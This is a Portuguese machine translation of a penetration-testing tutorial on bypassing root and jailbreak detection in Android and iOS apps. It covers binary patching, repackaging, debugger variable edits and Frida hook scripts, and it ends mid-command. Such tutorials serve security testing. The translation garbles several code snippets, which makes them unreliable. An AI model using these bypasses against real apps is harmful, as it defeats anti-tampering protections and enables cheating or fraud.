Mobile Application Hacking Diary Ep.2
| = ———————————————— ——————– = |
| = ———— = [Diário de hackers de aplicativos móveis Ep.2] = ————– = |
| = ———————— = [18 de fevereiro de 2018] = —————– —– = |
| = ———————- = [Por CWH Underground] = ——————- – = |
| = ———————————————— ——————– = |
######
Informações
######
Título: Diário de hackers de aplicativos móveis Ep.2
Autor: ZeQ3uL e diF
Equipe: CWH Underground
Data: 2018-02-18
##########
Conteúdo
##########
[0x00] – Introdução
[0x01] – O Observador
[0x01a] – Patch’em All
[0x01b] – Interrompa e vá
[0x01c] – Engate rápido
[0x01d] – Nenhuma raiz pode obter
[0x02] – Telhado e túnel
[0x02a] – Você (não) passará
[0x02b] – Você (não) verá
[0x03] – Thx especial
#######################
[0x00] – Introdução
#######################
_________________
/ __ \
| (__)
| | Vamos hackear isso !!, Oh, está brincando …
| .—–. -. |
| | | / \ |
| ‘—–‘ \ / |
| | | |
| LI LI LI | | |
| LI LI LI | | | Oo
| LI LI LI | | | `Oo
| LI LI LI | | | Oo
| | | | Oo
| .——. / \ | oO
| | | \ / | Oo
| ‘——‘ ‘-oO | oO
| .— Oo | Oo
| || || `Oo oO
| | ‘-‘ | | OoO
| ‘—-‘ |
\ _________________ /
Atualmente, os aplicativos móveis estão ficando mais fortes, armados com mais controles e múltiplos mecanismos de defesa. O surgimento de bibliotecas / diretrizes / padrão de segurança torna os aplicativos (aparência) mais seguros. Portanto, nós, como testadores, não podemos simplesmente fazer o teste apenas com as técnicas tradicionais, por exemplo. que publicamos no artigo anterior (https://www.exploit-db.com/papers/26620/) (porque os hackers também não).
Este artigo é a narrativa e a explicação de nossas técnicas de teste de penetração do mundo real como um estudo de caso de aplicativos móveis. Cada capítulo contém várias técnicas para ignorar os recursos de segurança implementados no aplicativo (por exemplo, detecção de raiz, fixação de SSL, criptografia de ponta a ponta) que podem orientá-lo para uma idéia de conduzir um aplicativo móvel de teste.
“Isso não vai ser do jeito que você pensa.” – Luke Skywalker
Vamos começar! :))
######################
[0x01] – O Observador
######################
A detecção de raiz se torna uma proteção básica que pode impedir o invasor de acessar o armazenamento, processo e memória de aplicativos e informações confidenciais. Sem a detecção de raiz, o invasor pode usar várias ferramentas para ignorar a fixação de SSL, modificar o tráfego criptografado por TLS, subverter a lógica de negócios ou até aumentar as gemas de jogo sem precisar comprar em um aplicativo de jogo.
Existem muitas ferramentas automatizadas (por exemplo, Root Cloak Plus, tsprotector) que podem ignorar a detecção de raiz.
P: E se o desenvolvedor conhece essas ferramentas e implementa a detecção?
R: Precisamos analisar manualmente o mecanismo de detecção para ignorar sem usar essas ferramentas.
Portanto, este capítulo mostrará como ignorar a detecção de raiz em várias técnicas, em vez de usar ferramentas automatizadas.
++++++++++++++++++++++++
[0x01a] – Patch’em All
++++++++++++++++++++++++
A primeira técnica que gostaríamos de introduzir é corrigir o binário usando a desmontagem, a modificação do binário e a nova embalagem do aplicativo para modificar permanentemente o comportamento do aplicativo. Este capítulo será dividido em duas plataformas, iOS e Android.
+++++++++++
+ Android +
+++++++++++
Para entender a lógica de detecção de raiz, precisamos descompilar o aplicativo do pacote de aplicativos (APK) e analisar sua lógica nas linguagens Java. Existem muitas ferramentas que podem executar essa tarefa (por exemplo, Jadx, dex2jar-jdgui), mas propomos o Bytecode Viewer (https://github.com/Konloch/bytecode-viewer). Ele contém muitos decompiladores (Krakatau, FernFlower, Procyon e CFR) que nos mostrarão o código-fonte Java completo, correspondente ao código-fonte original.
Percebemos algum método com o nome “checkRoot ()”, declarado na classe MainActivity, como mostrado abaixo:
—————– MainActivity.class ————–
…
RootWine rootWine;
public void checkRoot ()
{
this.rootWine = novo RootWine (isto);
if (this.rootWine.isRooted ()) {
// Brinde pop-up, o aplicativo não continuará
}
para (;;) {
Retorna;
// O aplicativo continuará
}
}
…
————————————————-
Depois que o método direcionado foi identificado, poderíamos usar o apktool para desmontar o pacote de aplicativos em arquivos smali.
————————————————-
zeq3ul @ home: ~ / Desktop $ java -jar apktool.jar d vulnapp.apk
I: Usando o Apktool 2.3.1 no vulnapp.apk
I: Carregando tabela de recursos …
…
I: Copiando arquivos originais …
————————————————-
O MainActivity.smali foi acessado para análise, especificando o método de destino que é “checkRoot ()”. O trecho de código smali é mostrado abaixo:
—————— MainActivity.smali ————-
# métodos virtuais
.method public checkRoot () V
…
invoque o virtual {v0}, Lcom / johny / rootwine / RootWine; -> isRooted () Z
move-result v0
if-eqz v0,: cond_0
// Brinde pop-up, o aplicativo não continuará
: cond_0
// O aplicativo continuará
método .end
————————————————-
Como você pode ver, o método checkRoot () usa a biblioteca chamada “RootWine”, que usa isRooted () para verificar se o aplicativo está sendo executado no dispositivo raiz ou não. Então, o resultado será verificado na instrução “if-eqz” na condição abaixo:
– Se o valor de retorno (v0) do método isRooted () for “1”, o aplicativo passará para o local “cond_0”, o que levará o aplicativo a continuar trabalhando
– Se o valor de retorno (v0) do método isRooted () for “0”, o aplicativo não continuará
Podemos modificar a lógica do aplicativo adicionando “if-nez v0,: cond_0”. O aplicativo será forçado a “cond_0”, independentemente de estar em execução no dispositivo raiz ou não. As abordagens para reembalar e assinar o aplicativo são mostradas da seguinte maneira:
– Usando o apktool para criar um novo aplicativo
– Assinando o aplicativo usando “Apk Sign” (https://github.com/appium/sign), que pode assinar automaticamente um apk com o certificado de teste do Android que incorpora chaves públicas e privadas no jar.
————————————————-
zeq3ul @ home: ~ / Desktop $ java -jar apktool.jar b vulnapp
I: Usando o Apktool 2.3.1
I: Verificando se as fontes foram alteradas …
I: Colocando a pasta smali em classes.dex …
…
I: construindo arquivo apk …
I: Copiando arquivos desconhecidos / dir …
zeq3ul @ home: ~ / Área de trabalho $ cd vulnapp / dist /
zeq3ul @ home: ~ / Área de trabalho / vulnapp / dist / $ java -jar sign.jar vulnapp.apk
zeq3ul @ home: ~ / Área de trabalho / vulnapp / dist / $ adb install vulnapp.s.apk
————————————————-
Poderíamos usar este pacote de aplicativos (vulnapp.s.apk) em qualquer dispositivo raiz para realizar mais ataques !!
+++++++++++
+ iOS +
+++++++++++
Por padrão, os aplicativos distribuídos pela loja de aplicativos são protegidos da engenharia reversa por meio da criptografia de código. A maneira de obter o código descriptografado é despejá-lo da memória enquanto o aplicativo está em execução, o que pode ser feito usando o Clutch2 ou o dumpdecrypted (http://cydia.radare.org/debs/) no dispositivo com quebra de cadeia. O resultado descriptografado pelo dump é mostrado abaixo:
————————————————-
root # DYLD_INSERT_LIBRARIES = dumpdecrypted.dylib /var/mobile/Containers/Bundle/Application/DC9F742C-D630-4813-8F06-25CD5AA5C611/VulnApp.app/VulnApp
dumper de descriptografia mach-o
AVISO LEGAL: Esta ferramenta é apenas para fins de pesquisa de segurança, não para crackers de aplicativos.
[+] Dados criptografados encontrados no endereço 00002000, com comprimento de 1826816 bytes – tipo 1.
[+] Abrindo /private/var/mobile/Containers/Bundle/Application/DC9F742C-D630-4813-8F06-25CD5AA5C611/VulnApp.app/VulnApp para leitura.
[+] Lendo cabeçalho
[+] Detectando o tipo de cabeçalho
[+] Executável é uma imagem FAT – buscando a arquitetura correta
[+] O arco correto está no deslocamento 2408224 no arquivo
[+] Abrindo o VulnApp.decrypted para gravação.
[-] Falha na abertura. Provavelmente, um problema de sandbox. Tentando algo diferente.
[+] Abrindo /private/var/mobile/Containers/Bundle/Application/DC9F742C-D630-4813-8F06-25CD5AA5C611/tmp/VulnApp.decrypted para gravação.
[+] Copiando o início não criptografado do arquivo
[+] Despejando os dados descriptografados no arquivo
[+] Copiando o restante não criptografado do arquivo
[+] Fechando arquivo original
[+] Fechando arquivo de despejo
————————————————-
Depois que o aplicativo foi descriptografado, as ferramentas de análise estática (por exemplo, classdump, Hopper) foram usadas para analisar a lógica do aplicativo. Usamos o classdump para extrair todas as informações de tempo de execução armazenadas no binário, a fim de identificar o nome da classe / método que pode ser usado para a detecção de fuga de presos, como mostrado abaixo:
————————————————-
root # ./class-dump /var/mobile/Containers/Bundle/Application/DC9F742C-D630-4813-8F06-25CD5AA5C611/tmp/VulnApp.decrypted
…
@interface JailSpot: UIViewController
{
}
– (_Bool) é um jailbreak;
– (nulo) didReceiveMemoryWarning;
– (vazio) viewDidLoad;
– (id) initWithNibName: (id) pacote arg1: (id) arg2;
@fim
…
————————————————-
Pelo resultado, pudemos notar que o método “isJailbroken”, que pertencia à classe “JailSpot”, tinha um tipo booleano. Essa seria a classe / método usado para verificar o status de jailbreaking referido ao nome. Portanto, poderíamos analisar mais adiante usando a ferramenta de engenharia reversa, como o Hopper, para determinar a lógica do aplicativo.
A ferramenta de escolha foi Hoppers. Ele pode desmontar o binário gordo mach-o, fazer o patch e gerar um novo executável para nós. Primeiro, abrimos o executável, depois nagivamos para o método de destino encontrado no classdump e, em seguida, usamos o modo CFG para analisar o gráfico de fluxo de controle (Hopper também tem uma opção para gerar pseudocódigo para o método. Mas, nesse caso específico, descobrimos que era mais fácil analisar da visão do CFG). Na visualização de gráfico, o fluxo mostrou que o método verifica arquivos / diretórios comuns que normalmente são encontrados em um dispositivo jailbroken e, em seguida, verifica se o arquivo pode ou não ser gravado em / private / (o que exigia root priv). Depois de toda a longa lista de cheques, chegou aos seguintes blocos antes do retorno.
| orr w8, w22, w25 |
| orr w8, w8, w26 |
| cmp w8, #0x0 |
| b.eq loc_100009294 |
\-------------------------------------------------/
t f
| \--------------\
/-------------------------/ |
| |
/---------------------------------------------------\ /-------------------------\
| loc_10009294: | | movz w0, #0x0 |
| orr w0, wzr, #0x1 ; CODE XREF=sub100007940+6444| | b loc_10009298 |
\---------------------------------------------------/ \-------------------------/
| |
\------------------\ /-------------------/
| |
/---------------------------------------------------------------\
| loc_10009298: |
| ldp x29, x30, [sp, #0x120] ; CODE XREF=sub_100007940+6452|
| ldp x20, x19, [sp, #0x110] |
| ldp x22, x21, [sp, #0x100] |
| ldp x24, x23, [sp, #0xf0] |
| ldp x26, x25, [sp, #0xe0] |
| ldp x28, x27, [sp, #0xd0] |
| add sp, sp, #0x130 |
| ret |
\---------------------------------------------------------------/
Isso significa que o método simplesmente retorna true (0x01) se alguma verificação falhar e retorna false (0x00) se todas as verificações forem aprovadas. Portanto, podemos tentar corrigir a lógica aqui para ignorar as validações e nos permitir executar o aplicativo em um dispositivo jailbroken.
Para começar, precisamos identificar o local para corrigir. Obviamente, o bloco no local loc_100009294 parece ser interessante, pois gera o valor de retorno true. Como identificamos o local que poderíamos tentar corrigir, iniciamos o patch usando o Hopper com a opção “Modify -> Assemble Instruction …”. A opção pode gerar uma nova instrução e substituir a instrução atual para nós e o que fizemos foi:
/ ————————- \ / ——————– \
| orr w0, wzr, # 0x1 | —–> | movz w0, # 0x0 |
\ ————————- / \ ——————– /
Depois de corrigir o binário com êxito, geramos um novo binário (o novo será apenas um aarch64 mach-o) com a opção “Arquivo -> Produzir Novo Executável …” e escolhemos substituir o binário atual do aplicativo. Por fim, instalamos o aplicativo usando o IPA Installer e descobrimos que poderíamos executá-lo com êxito em um dispositivo com jailbreak. Ótimo!
+++++++++++++++++++++++++
[0x01b] – Interrompa e vá
+++++++++++++++++++++++++
Outra técnica que pode ser feita em tempo de execução é a depuração. Este capítulo mostrará a abordagem para depurar o aplicativo no aplicativo Android. Para depurar o aplicativo Android, “android: debuggable =” true “” deve estar definido no AndroidManifest.xml no pacote Android (apk), portanto, precisamos desmontar o aplicativo usando apktool, adicione o sinalizador depurável no AndroidManifest.xml e re -package e assine o aplicativo.
————————————————-
zeq3ul @ home: ~ / Desktop $ java -jar apktool.jar d vulnapp.apk
I: Usando o Apktool 2.3.1 no vulnapp.apk
I: Carregando tabela de recursos …
…
I: Copiando arquivos originais …
zeq3ul @ home: ~ / Área de trabalho $ cd vulnapp /
zeq3ul @ home: ~ / Área de trabalho / vulnapp $ vim AndroidManifest.xml
… // Adicionando android: debuggable = “true” na tag <application>
zeq3ul @ home: ~ / Desktop $ cd ..
zeq3ul @ home: ~ / Desktop $ java -jar apktool.jar b vulnapp
I: Usando o Apktool 2.3.1
I: Verificando se as fontes foram alteradas …
I: Colocando a pasta smali em classes.dex …
…
I: construindo arquivo apk …
I: Copiando arquivos desconhecidos / dir …
zeq3ul @ home: ~ / Área de trabalho $ cd vulnapp / dist /
zeq3ul @ home: ~ / Área de trabalho / vulnapp / dist / $ java -jar sign.jar vulnapp.apk
zeq3ul @ home: ~ / Área de trabalho / vulnapp / dist / $ adb install vulnapp.s.apk
————————————————-
Com os recursos do modo de depuração, conseguimos injetar nosso próprio código para executá-lo no contexto do processo de aplicativo vulnerável. As ferramentas recomendadas são AndBug (https://github.com/swdunlop/AndBug) e Java Debugger (jdb). O AndBug é um invólucro do JDWP que nos permite identificar / rastrear a classe e o método; então, podemos usar o jdb para definir o ponto de interrupção em uma classe / método específico, a fim de analisar e modificar o processo do aplicativo.
————————————————-
zeq3ul @ home: ~ / Desktop $ adb shell ps -x | grep -i “vulnapp”
u0_a66 1859 57 224432 29428 ffffffff b6ecc5cc S com.example.vulnapp (u: 1381, s: 277)
zeq3ul @ home: ~ / Desktop $ andbug shell -p 1859
## AndBug (C) 2011 Scott W. Dunlop <[email protected]>
>> classes com.example.vulnapp
## Classes carregadas
– com.example.vulnapp.LibraryProvider
– com.example.vulnapp.Extend_Main
– com.example.vulnapp.Extend_Main $ 1
– com.example.vulnapp.MainActivity
>> ct com.example.vulnapp.MainActivity
## Definir ganchos
– Hooked com.example.vulnapp.MainActivity
>> ## segmento de rastreio <1> main (em execução suspenso)
– com.example.vulnapp.MainActivity.checkRoot () V: 0
– this = Lcom / exemplo / vulnapp / MainActivity; <831928579104>
…
————————————————-
Como resultado, o AndBug conseguiu conectar-se ao processo do aplicativo, identificar as classes carregadas usando o comando “classes” na atividade atual e rastrear o método na classe especificada usando o comando “ct”. O aplicativo foi aberto e “com.example.vulnapp.MainActivity.checkRoot ()” foi identificado para verificar o status raiz. O descompilador Java foi usado para descompilar o aplicativo, a fim de identificar a lógica do aplicativo na linguagem Java; o método isRooted () veio da biblioteca RootWine, que pertencia ao pacote “com.johny.rootwine”.
—————– MainActivity.class ————–
…
RootWine rootWine;
public void checkRoot ()
{
this.rootWine = novo RootWine (isto);
if (this.rootWine.isRooted ()) {
// Brinde pop-up, o aplicativo não continuará
}
para (;;) {
Retorna;
// O aplicativo continuará
}
}
…
————————————————-
Portanto, também podemos especificar o pacote de biblioteca no AndBug para garantir que classe e método serão usados para verificar o status raiz.
————————————————-
zeq3ul @ home: ~ / Desktop $ andbug shell -p 1859
## AndBug (C) 2011 Scott W. Dunlop <[email protected]>
>> aulas com.johny.rootwine
## Classes carregadas
– com.johny.rootwine.util.QLog
– com.johny.rootwine.Const
– com.johny.rootwine.RootWine
>> ct com.johny.rootwine.RootWine
## Definir ganchos
– Hooked com.johny.rootwine.RootWine
>> ## segmento de rastreio <1> main (em execução suspenso)
– com.johny.rootwine.RootWine. <init> (Landroid / content / Contexto;) V: 0
– this = Lcom / johny / rootwine / RootWine; <831930596104>
…
## segmento de rastreio <1> main (em execução suspenso)
– com.johny.rootwine.RootWine.isRooted () Z: 0
– this = Lcom / johny / rootwine / RootWine; <831930596104>
…
## segmento de rastreio <1> main (em execução suspenso)
– com.johny.rootwine.RootWine.detectRootManagementApps () Z: 0
– this = Lcom / johny / rootwine / RootWine; <831930596104>
…
## segmento de rastreio <1> main (em execução suspenso)
– com.johny.rootwine.RootWine.isAnyPackageFromListInstalled (Ljava / util / List;) Z: 0
– this = Lcom / johny / rootwine / RootWine; <831930596104>
– pacotes = Ljava / util / ArrayList; <831930576248>
…
## segmento de rastreio <1> main (em execução suspenso)
– com.johny.rootwine.RootWine.detectPotentiallyDangerousApps () Z: 0
– this = Lcom / johny / rootwine / RootWine; <831930596104>
…
## segmento de rastreio <1> main (em execução suspenso)
– com.johny.rootwine.RootWine.checkForBinary (Ljava / lang / String;) Z: 0
– this = Lcom / johny / rootwine / RootWine; <831930596104>
– filename = su
…
————————————————-
A partir do resultado, foi rastreada a classe “com.johny.rootwine.RootWine” e identificou-se que isRooted (), usado para verificar o status raiz, foi o primeiro método. Poderíamos analisar ainda mais acessando a classe “com.johny.rootwine.RootWine” por meio do decompiler.
—————– RootWine.class ——————
…
booleano público isRooted ()
{
if ((detectRootManagementApps ()) || (detectPotentiallyDangerousApps ()) || (checkForBinary (“su”)) || (checkForBinary (“busybox”)) || (checkForDangerousProps ()) || (checkForRWPaths ()) || (detectTestKeys ()) || (checkSuExists ()) || (checkForRootNative ())) {}
for (booleano bool = true ;; bool = false) {
return bool;
}
}
…
————————————————-
Combinando entre AndBug e Java Decompiler, vamos saber em qual classe / método devemos nos conectar. Na próxima etapa, usamos o jdb, iniciando com o encaminhamento do número do processo do aplicativo para uma porta tcp específica. Em seguida, poderíamos usar o jdb para anexar ao processo do aplicativo o conjunto de pontos de interrupção no método específico
————————————————-
zeq3ul @ home: ~ / Desktop $ adb forward tcp: 1337 jdwp: 1859
zeq3ul @ home: ~ / Desktop $ jdb -attach localhost: 1337
Definir java.lang.Throwable não capturado
Definir java.lang.Throwable não capturado adiado
Inicializando jdb …
> parar em com.johny.rootwine.RootWine.isRooted
Definir ponto de interrupção com.johny.rootwine.RootWine.isRooted
>
Acerto do ponto de interrupção: “thread = <1> main”, com.johny.rootwine.RootWine.isRooted (), linha = 43 bci = 0
<1> passo principal [1]
Etapa concluída: <1> main [1] “thread = <1> main”, com.johny.rootwine.RootWine.detectRootManagementApps (), linha = 76 bci = 0
<1> passo principal [1]
Etapa concluída: “thread = <1> main”, com.johny.rootwine.RootWine.detectRootManagementApps (), linha = 87 bci = 0
<1> principal [1]
…
<1> passo principal [1]
Etapa concluída: “thread = <1> main”, com.johny.rootwine.RootWine.checkForBinary (), line = 170 bci = 0
<1> principais [1] locais
Argumentos do método:
f = instância do java.io.File (id = 831931279824)
Variáveis locais:
filename = “su”
pathArray = instância de java.lang.String [11] (id = 831930532976)
resultado = falso
caminho = “/ system / xbin /”
completePath = “/ sistema / xbin / su”
fileExists = true
<1> principal [1]
————————————————-
Durante a depuração do aplicativo, pudemos visualizar variáveis locais usando o comando “locals” e também modificar a variável em tempo real. Nesse caso, o método checkForBinary () verificou o arquivo existente e retornou o sinalizador fileExists para “true”. Podemos ignorar a verificação do arquivo alterando o valor do sinalizador fileExists para “false” e retomar o processo do aplicativo.
————————————————-
<1> conjunto principal [1] define fileExists = false
fileExists = false = false
<1> principais [1] locais
Argumentos do método:
f = instância do java.io.File (id = 831931279824)
Variáveis locais:
filename = “su”
pathArray = instância de java.lang.String [11] (id = 831930532976)
resultado = falso
caminho = “/ system / xbin /”
completePath = “/ sistema / xbin / su”
fileExists = false
<1> resumo principal [1]
————————————————-
A detecção de raiz foi ignorada, o que nos levou a realizar mais ataques. Como você pode ver, existem mais de 9 métodos para verificar o status raiz em isRoot (). Portanto, quanto mais verificação, mais tempos de depuração. No próximo capítulo, apresentaremos um método de instrumentação binária dinâmica usando o Frida, que nos permite ignorar facilmente a lógica do aplicativo, incluindo a detecção de raiz.
Observe que a depuração e a instrumentação binária dinâmica não afetarão permanentemente o aplicativo devido à manipulação em tempo de execução diferente da aplicação de patches binários que modificarão o aplicativo permanentemente.
++++++++++++++++++++++++++++
[0x01c] – Engate rápido
++++++++++++++++++++++++++++
O Frida, que é um kit de ferramentas de instrumentação binária dinâmico que pode inspecionar, analisa o comportamento de um aplicativo binário em tempo de execução através da injeção de código de instrumentação, suporta multiplataformas incluindo Windows, Linux, Mac, iOS, Android, QNX.
O Frida também possui um recurso de rastreamento que pode ser usado para identificar qual método será usado enquanto o aplicativo estiver em execução, em vez de adivinhar o nome da classe / método da parte da análise estática. Além disso, podemos usar o rastreamento por frida para identificar a classe / método usado e, em seguida, realizar análises estáticas para corrigir o aplicativo permanentemente. Este capítulo será dividido em duas plataformas, iOS e Android.
+++++++++++
+ Android +
+++++++++++
Existe um script frida impressionante (https://github.com/0xdea/frida-scripts/blob/master/raptor_frida_android_trace.js) escrito por Marco Ivaldi, que pode ser usado para rastrear funções arbitrárias de métodos e módulos Java, especificando apenas o nome do pacote de aplicativos ou expressão regular através do script !!
Nesse caso, o pacote de aplicativos (com.example.vulnapp) e o pacote de biblioteca suspeito (com.johny.rootwine) foram especificados no script de rastreamento frida “raptor_frida_android_trace.js”, conforme mostrado abaixo:
———- raptor_frida_android_trace.js ———-
…
// exemplos de uso
setTimeout (function () {// evita java.lang.ClassNotFoundException
Java.perform (function () {
trace (“com.example.vulnapp”);
trace (“com.johny.rootwine”);
});
} 0);
————————————————-
Devido ao mecanismo de detecção de raiz, a biblioteca de detecção de raiz seria carregada imediatamente assim que o aplicativo fosse aberto; portanto, o sinalizador “-f” foi usado para gerar um novo processo para rastrear o aplicativo no processo inicial, como mostrado abaixo:
-------------------------------------------------
zeq3ul@home:~/Desktop$ frida -U -f com.example.vulnapp -l raptor_frida_android_trace.js --no-pause
____
/ _ | Frida 10.6.32 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
Spawned `com.example.vulnapp`. Resuming main thread!
[Android Emulator 5554::com.example.vulnapp]-> Tracing com.example.vulnapp.LibraryProvider.onCreate [1 overload(s)]
Tracing com.example.vulnapp.MainActivity.onCreate [1 overload(s)]
Tracing com.example.vulnapp.MainActivity.init [1 overload(s)]
...
Tracing com.johny.rootwine.RootWine.isRooted [1 overload(s)]
Tracing com.johny.rootwine.RootWine.detectRootManagementApps [2 overload(s)]
...
*** entered com.example.vulnapp.MainActivity.checkRoot
*** entered com.johny.rootwine.RootWine.isRooted
*** entered com.johny.rootwine.RootWine.detectRootManagementApps
*** entered com.johny.rootwine.RootWine.detectRootManagementApps
arg[0]: null
*** entered com.johny.rootwine.RootWine.checkForBinary
arg[0]: su
retval: true
*** exiting com.johny.rootwine.RootWine.checkForBinary
retval: true
...
-------------------------------------------------
O script de rastreamento frida identificou todas as classes / métodos carregados, incluindo argumentos e valor de retorno nos pacotes de aplicativos especificados, alinhados às atividades do aplicativo. Como resultado, pudemos confirmar que o pacote “com.johny.rootwine” foi usado para detectar o status raiz no aplicativo; portanto, poderíamos realizar análises estáticas ainda mais neste pacote.
Vamos analisar o RootWine.class no pacote “com.johny.rootwine”, o método isRooted () será usado para detectar o status raiz, conforme mostrado no trecho de código abaixo:
—————– RootWine.class ——————
…
booleano público isRooted ()
{
if ((detectRootManagementApps ()) || (detectPotentiallyDangerousApps ()) || (checkForBinary (“su”)) || (checkForBinary (“busybox”)) || (checkForDangerousProps ()) || (checkForRWPaths ()) || (detectTestKeys ()) || (checkSuExists ()) || (checkForRootNative ())) {}
for (booleano bool = true ;; bool = false) {
return bool;
}
}
…
————————————————-
Na análise de código, todas as verificações no método isRooted () retornarão como valor booleano (True / False). Portanto, podemos criar o script Frida usando a ligação python para substituir o método isRooted () para retornar o valor “false”, como mostrado abaixo:
—————– Frida_RootWine.py —————
#! / usr / bin / python
importação frida, sys
def on_message (mensagem, dados):
se a mensagem [‘type’] == ‘send’:
print (“[*] {0}”. formato (mensagem [‘carga’]))
outro:
imprimir (mensagem)
jscode = “” ”
Java.perform (function () {
var MainActivity = Java.use (‘com.johny.rootwine.RootWine’);
MainActivity.isRooted.implementation = function () {
send (‘Método viciado … Modificando valor de retorno’);
retorna falso;
};
});
“” ”
process = frida.get_usb_device (). attach (‘com.example.vulnapp’)
script = process.create_script (jscode)
script.on (‘mensagem’, em_mensagem)
script.load ()
print “[*] Ignorando a detecção de rootWine”
sys.stdin.read ()
————————————————-
Depois disso, poderíamos conectar nosso laptop e dispositivo através do modo de depuração USB para execução de scripts frida. Depois que o método isRooted () fosse chamado, o frida interceptaria e substituiria o método, modificando o valor de retorno para “false”
/---------------\
| Frida Hooking |
/-----------------------------| isRooted() |
| (3) | return false |
| \---------------/
| ^
| |
| (2)|
V |
/-----------------------\ /--------------------\
| com.example.vulnapp | (1) | com.johny.rootwine |
| MainActivity.class | -------->| RootWine.class |
| checkRoot() | | isRooted() |
\-----------------------/ \--------------------/
Then, frida script(Frida_RootWine.py) had been executed to handle incoming hooked method then the root detection would be bypassed as shown below:
-------------------------------------------------
zeq3ul@home:~/Desktop$ python Frida_RootWine.py
[*] Bypassing RootWine Detection
[*] Method hooked...Modifying return value
-------------------------------------------------
A Frida também possui uma comunidade chamada "Frida CodeShare" (https://codeshare.frida.re), composta por desenvolvedores de todo o mundo para contribuir com seus scripts frida (por exemplo, ignorar a detecção de raiz, ignorar a pinagem de SSL). Existe um projeto impressionante "fridantiroot" (https://codeshare.frida.re/@dzonerzy/fridantiroot/) na plataforma Android que pode detectar várias verificações de raiz, como pacotes, binário, propriedade e assim por diante, a fim de ignorar a raiz detecção. O projeto de code-share pode ser usado através do sinalizador "--codeshare" e o sinalizador "-f" também seria usado para gerar um novo processo para rastrear o aplicativo no processo inicial, como mostrado abaixo:
-------------------------------------------------
zeq3ul@home:~/Desktop$ frida --codeshare dzonerzy/fridantiroot -U -f com.example.vulnapp
____
/ _ | Frida 10.6.32 - A world-class dynamic instrumentation framework
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
Attaching...
Hello! This is the first time you're running this particular snippet, or the snippet's source code has changed.
Project Name: fridantiroot
Author: @dzonerzy
Slug: dzonerzy/fridantiroot
Fingerprint: b5c9e7754d9432d6bb96fdec7aa53e458c6c4ee522209c4f2f8ecbe2b2a60955
URL: https://codeshare.frida.re/@dzonerzy/fridantiroot
Are you sure you'd like to trust this project? [y/N] y
Adding fingerprint b5c9e7754d9432d6bb96fdec7aa53e458c6c4ee522209c4f2f8ecbe2b2a60955 to the trust store! You won't be prompted again unless the code changes.
Spawned `com.example.vulnapp`. Use %resume to let the main thread start executing!
[Android Emulator 5554::com.example.vulnapp]-> %resume
[Android Emulator 5554::com.example.vulnapp]-> message: {u'type': u'send', u'payload': u'Loaded 3824 classes!'} data: None
message: {u'type': u'send', u'payload': u'loaded: -1'} data: None
message: {u'type': u'send', u'payload': u'ProcessManager hook not loaded'} data: None
message: {u'type': u'send', u'payload': u'KeyInfo hook not loaded'} data: None
[Android Emulator 5554::com.example.vulnapp]-> message: {u'type': u'send', u'payload': u'Bypass root check for package: com.noshufou.android.su'} data: None
message: {u'type': u'send', u'payload': u'Bypass root check for package: com.noshufou.android.su.elite'} data: None
message: {u'type': u'send', u'payload': u'Bypass root check for package: eu.chainfire.supersu'} data: None
message: {u'type': u'send', u'payload': u'Bypass root check for package: com.koushikdutta.superuser'} data: None
...
message: {u'type': u'send', u'payload': u'Bypass native fopen'} data: None
-------------------------------------------------
+++++++++++
+ iOS +
+++++++++++
Para criar corretamente o script Frida, precisamos identificar classes e métodos carregados. Portanto, poderíamos usar o recurso de rastreamento Frida (frida-trace) para identificar as classes / métodos carregados, especificando o sinalizador “-m” para rastrear classes / métodos Objective-C especificados. Nesse caso, especificamos “JailSpot” classname e também usamos “*” em qualquer tipo de método / nome do método, o sinalizador “-f” também foi usado para gerar um novo processo para rastrear o aplicativo no processo inicial, como mostrado abaixo:
————————————————-
zeq3ul @ home: ~ / Desktop $ frida-trace -m “* [JailSpot *]” -U -f com.example.vulnapp
Funções de instrumentação …
– [JailSpot isJailbroken]: manipulador gerado automaticamente em “/home/zeq3ul/Desktop/__handlers__/__JailSpot_isJailbroken_.js”
– [JailSpot didReceiveMemoryWarning]: manipulador gerado automaticamente em “/home/zeq3ul/Desktop/__handlers__/__JailSpot_didReceiv_0298561d.js”
– [JailSpot initWithNibName: bundle:]: manipulador gerado automaticamente em “/home/zeq3ul/Desktop/__handlers__/__JailSpot_initWithN_-433f25e.js”
– [JailSpot viewDidLoad]: manipulador gerado automaticamente em “/home/zeq3ul/Desktop/__handlers__/__JailSpot_viewDidLoad_.js”
Começou a rastrear 4 funções. Pressione Ctrl + C para parar.
/ * TID 0x907 * /
2550 ms – [JailSpot isJailbroken]
————————————————-
Como resultado, saberíamos que a detecção de jailbreak usa apenas o método isJailbroken para verificar se o aplicativo está sendo executado em um dispositivo com jailbreak ou não. O resultado do classdump, já mencionado no capítulo [0x01a], seria usado para determinar o tipo de método.
—————– classdump.txt ——————-
…
@interface JailSpot: UIViewController
{
}
– (_Bool) é um jailbreak;
– (nulo) didReceiveMemoryWarning;
– (vazio) viewDidLoad;
– (id) initWithNibName: (id) pacote arg1: (id) arg2;
@fim
…
————————————————-
O tipo de método isJailbroken era booleano, que retornará “true” quando o aplicativo estiver sendo executado no dispositivo com jailbreak, “false” no dispositivo sem raiz. Agora, temos todas as informações para criar o script Frida (js) para manipular a lógica de detecção de jailbreak no aplicativo no tempo de execução.
————— Bypass_Jailspot.js —————-
if (ObjC.available) {
experimentar {
var className = “JailSpot”;
var funcName = “- isJailbroken”;
var hook = eval (‘ObjC.classes.’ + className + ‘[“‘ + funcName + ‘”]’ ‘);
Interceptor.attach (hook.implementation, {
onLeave: function (retval) {
console.log (“[*] Método viciado … Modificando valor de retorno”);
newretval = ptr (“0x0”)
retval.replace (newretval)}}); }
catch (err) {console.log (“[!] Exceção:” + err.message); }}
else {console.log (“O Objective-C Runtime não está disponível!”); }
————————————————-
Depois que o método isJailbroken fosse chamado, o frida interceptaria e substituiria o método, modificando o valor de retorno para “false”. Em seguida, o script frida (Bypass_Jailspot.js) foi executado para manipular o método de gancho de entrada e a detecção de jailbreak seria ignorada.
————————————————-
zeq3ul @ home: ~ / Desktop $ frida -U -f com.example.vulnapp -l Bypass_Jailspot.js
____
/ _ | Frida 10.6.32 – Uma estrutura de instrumentação dinâmica de classe mundial
| (_ | |
> _ | Comandos:
